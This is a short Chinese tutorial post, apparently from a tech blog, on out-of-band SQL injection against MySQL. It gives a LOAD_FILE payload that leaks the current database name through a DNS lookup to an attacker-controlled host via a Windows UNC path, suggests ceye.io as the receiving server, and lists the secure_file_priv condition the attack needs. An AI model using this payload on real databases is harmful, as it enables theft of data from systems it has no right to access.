mysql 帶外註入
阿新 • • 發佈:2018-10-30
href 參數 ase 路徑 tps 限制 profile () clas
帶外通道
有時候註入發現並沒有回顯,也不能利用時間盲註,那麽就可以利用帶外通道,也就是利用其他協議或者渠道,如http請求、DNS解析、SMB服務等將數據帶出。
payload
SELECT LOAD_FILE(CONCAT(‘\\\\‘,( SELECT DATABASE() ),‘.xx.xx\\x));
其中的load_file的地址為一個遠程文件,mysql在load_file()一個遠程文件時會發送dns請求包去解析,所以可以帶出數據,‘\\data.xx.xx\x‘ ,xx.xx為自己的服務器名,沒有的話可以去這裏申請一個 ceye.io
mysql帶外註入條件
1. mysql.ini 中 secure_file_priv 必須為空
( ps. 修改mysql.ini 文件,在[mysqld] 下加入 secure_file_priv = )
mysql 新版本下secure-file-priv字段 : secure-file-priv參數是用來限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()傳到哪個指定目錄的。
當secure_file_priv的值為null ,表示限制mysqld 不允許導入|導出
當secure_file_priv的值為/tmp/ ,表示限制mysqld 的導入|導出只能發生在/tmp/目錄下
當secure_file_priv的值沒有具體值時,表示不對mysqld 的導入|導出做限制
2. 從payload看出load_file的路徑是windows下的UNC路徑,所以mysql帶外註入只能發生在windows機器上
UNC路徑
測試
mysql 帶外註入